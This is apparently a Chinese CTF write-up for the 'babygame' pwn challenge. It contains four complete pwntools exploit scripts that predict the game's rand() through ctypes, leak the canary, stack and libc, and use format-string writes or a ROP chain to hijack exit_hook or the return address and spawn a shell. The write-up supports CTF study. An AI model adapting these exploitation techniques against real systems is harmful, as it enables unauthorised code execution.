不是不想复现其他的,而是我不会👦

babygame

好吧,唯一一个稍微能做做的题,也没做出来。疯狂偷学师傅们的 wp 。

程序流程较为简单,给你一个溢出之后让你猜拳,再给你个 溢出+格式化字符串 。注意的是保护全开,不能考虑覆写 got ,但是可以考虑 hook 函数(?)。

Exp1 扬 exit_hook

Leak libc 之后用 ctypes 耍赖猜拳,最后把 exit_hook 🐑 了就行了。服务器时间对上了 time(0) 过了,不知道远程为什么 one_gadget 没写上QwQ。可能我自己的东西就比较拉吧(ᗜ_ᗜ)。nnm 师傅告诉我是 libc 偏移不同,可能是复现靶场环境的 libc 和题目提供的不完全一样吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import ctypes
import re
import os
from pwn import *
from LibcSearcher import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))

def debug(breakpoint=''):
glibc_dir = '~/Exps/Glibc/glibc-2.31/'
gdbscript = 'directory %smalloc/\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio/\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p, gdbscript)
time.sleep(1)

elf = ELF('./babygame')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-h'])
p = process('./babygame')
# debug()
# p = remote('redirect.do-not-trust.hacking.run',10388)

'''[+]------------Leak Libc------------[+]'''
payload=flat(
['A'*0xf0]
)
se(payload)
ru('A'*0xf0)
leak_addr = uu64(rc(6))
info_addr('LEAK',leak_addr)
libc_base = leak_addr - 0x1f12e8
info_addr('LIBC',libc_base)
'''[+]------------Game Time------------[+]'''
C = ctypes.CDLL('./libc.so.6')
C.srand(C.time(0))
for i in range(100):
v2 = C.rand() % 3
if v2 == 0:
sea('round %d:'%(i+1),'1')
elif v2 == 1:
sea('round %d:'%(i+1),'2')
else:
sea('round %d:'%(i+1),'0')

# debug()
'''[+]------------Hijack Exit------------[+]'''
# sl('A'*8+'%6$p')
ru('you')
exit_hook = libc_base + 0x222f68
one_gadgets = [(libc_base+i) for i in [0xe3b2e,0xe3b31,0xe3b34,0xe3d23,0xe3d26]]
payload = fmtstr_payload(6,{exit_hook:one_gadgets[0]})
sl(payload)

p.interactive()

Exp2 扬 返回地址

总体思路是覆写返回地址为 one_gadget ,所以我们要得到 libc 和 stack 地址。

  1. 溢出覆盖随机数 seed 以及 canary 的 ‘\x00’ 位,由于 printf 是 ‘\x00’ 截断,所以输出 canary 的同时会连带着输出后面的栈地址
  2. 利用 ctypes 玩小游戏,进入存在漏洞的 sub_13F7() 函数(记作 backdoor
  3. 部分覆盖返回地址返回 backdoor ,覆盖的 payload 后面可以同时 leak 出 libc
  4. 直接覆盖返回地址为 one_gadget ,就 🐑 完了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!/usr/bin/env python2
# -*- coding: utf-8 -*
from ctypes import CDLL
import re
import os
from pwn import *
from LibcSearcher import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))

def debug(breakpoint=''):
glibc_dir = '~/Exps/Glibc/glibc-2.31/'
gdbscript = 'directory %smalloc/\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio/\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p, gdbscript)
time.sleep(1)

elf = ELF('./babygame')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-h'])
# p = process('./babygame')
# debug()

#[+]---------Leak Stack---------[+]
def game():
C = CDLL('./libc.so.6')
C.srand(0x41414141)
for i in range(100):
v2 = C.rand() % 3
if v2 == 0:
sea('round','1')
elif v2 == 1:
sea('round','2')
else:
sea('round','0')

payload=flat(
['A'*0x109]
)
se(payload)
ru('A'*0x109)
canary = uu64('\x00' + rc(7))
stack_leak = uu64(ru('\n')) - 0x218
# pause()
game()
ru('Good luck to you.')

#[+]---------Partial Overwrite---------[+]
payload ='%62c%10$hhnA.%27$p'
payload = payload.ljust(0x20,'k')
payload += p64(stack_leak)
se(payload)
info_addr('canary',canary)
info_addr('stack',stack_leak)
ru('A.')
atoi_p20 = int(ru('k'),16)
info_addr('Atoi_p20',atoi_p20)
libc = ELF('./libc-2.31.so')
libc_base = atoi_p20 - 20 - libc.sym['atoi']
info_addr('LIBC',libc_base)
one_gadget = libc_base + 0xe3b31
#[+]---------One_gadget Overwrite---------[+]
payload = fmtstr_payload(6,{stack_leak:one_gadget})
sl(payload)

p.interactive()

Exp3-1 read 写 onegadget

Exp3-1 总体思路是得到一个 read ,需要 Leak 出 libc (one_gadget),需要 Leak 出栈地址 (部分覆写),十六分之一概率爆破

1
.text:00000000000014C2                 lea     rax, [rbp+buf]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import re
import os
from ctypes import CDLL
from pwn import *
from LibcSearcher import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))

def debug(breakpoint=''):
glibc_dir = '~/Exps/Glibc/glibc-2.31/'
gdbscript = 'directory %smalloc/\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio/\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p, gdbscript)
time.sleep(1)

elf = ELF('./babygame')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-h'])
p = process('./babygame')
# debug()

#[+]---------Leak Stack---------[+]
def game():
C = CDLL('./libc.so.6')
C.srand(0x41414141)
for i in range(100):
v2 = C.rand() % 3
if v2 == 0:
sea('round','1')
elif v2 == 1:
sea('round','2')
else:
sea('round','0')

payload=flat(
['A'*0x109]
)
se(payload)
ru('A'*0x109)
canary = uu64('\x00' + rc(7))
stack_leak = uu64(ru('\n')) - 0x218
# pause()
game()
ru('Good luck to you.')

#[+]---------Partial Overwrite---------[+]
payload ='%62c%10$hhnA.%27$p'
payload = payload.ljust(0x20,'k')
payload += p64(stack_leak)
se(payload)
info_addr('canary',canary)
info_addr('stack',stack_leak)
ru('A.')
atoi_p20 = int(ru('k'),16)
info_addr('Atoi_p20',atoi_p20)
libc = ELF('./libc-2.31.so')
libc_base = atoi_p20 - 20 - libc.sym['atoi']
info_addr('LIBC',libc_base)
one_gadget = libc_base + 0xe3b31

#[+]---------Partial Overwrite---------[+]
ru('Good luck to you.')
payload ='%5314c%10$hn'
payload = payload.ljust(0x20,'k')
payload += p64(stack_leak)
se(payload)
# pause()
payload = 'A'*0x108
payload += p64(canary) + 'A'*0x10 + p64(0xdeadbeef)
payload += p64(one_gadget)
se(payload)
game()
sl('OK!')

p.interactive()

Exp3-2 read 写 ROP

Exp3-2 总体思路是得到一个 read ,需要 Leak 出 libc (system,str_bin_sh),需要 Leak 出栈地址 (部分覆写),十六分之一概率爆破。优点在稳,one_gadget 打不通也可以 ROP 强打。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import re
import os
from ctypes import CDLL
from pwn import *
from LibcSearcher import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))

def debug(breakpoint=''):
glibc_dir = '~/Exps/Glibc/glibc-2.31/'
gdbscript = 'directory %smalloc/\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio/\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p, gdbscript)
time.sleep(1)

elf = ELF('./babygame')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-h'])
p = process('./babygame')
# debug()

#[+]---------Leak Stack---------[+]
def game():
C = CDLL('./libc.so.6')
C.srand(0x41414141)
for i in range(100):
v2 = C.rand() % 3
if v2 == 0:
sea('round','1')
elif v2 == 1:
sea('round','2')
else:
sea('round','0')

payload=flat(
['A'*0x109]
)
se(payload)
ru('A'*0x109)
canary = uu64('\x00' + rc(7))
stack_leak = uu64(ru('\n')) - 0x218
# pause()
game()
ru('Good luck to you.')

#[+]---------Partial Overwrite---------[+]
payload ='%62c%10$hhnA.%27$p'
payload = payload.ljust(0x20,'k')
payload += p64(stack_leak)
se(payload)
info_addr('canary',canary)
info_addr('stack',stack_leak)
ru('A.')
atoi_p20 = int(ru('k'),16)
info_addr('Atoi_p20',atoi_p20)
libc = ELF('./libc-2.31.so')
libc_base = atoi_p20 - 20 - libc.sym['atoi']
info_addr('LIBC',libc_base)
one_gadget = libc_base + 0xe3b31

#[+]---------Partial Overwrite---------[+]
ru('Good luck to you.')
payload ='%5314c%10$hn'
payload = payload.ljust(0x20,'k')
payload += p64(stack_leak)
se(payload)
# pause()

#[+]------------- ROP -------------[+]
'''
注意这里我们拿 libc 的 gadget 如果你不想泄露 PIE 的话
0x0000000000023b72 : pop rdi ; ret
0x0000000000022679 : ret
'''
rdi = libc_base + 0x23b72
ret = libc_base + 0x22679
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search('/bin/sh').next()
payload = 'A'*0x108
payload += p64(canary) + 'A'*0x10 + p64(0xdeadbeef)
payload += p64(rdi) + p64(bin_sh) + p64(ret) + p64(system_addr)
se(payload)
game()
sl('OK!')

p.interactive()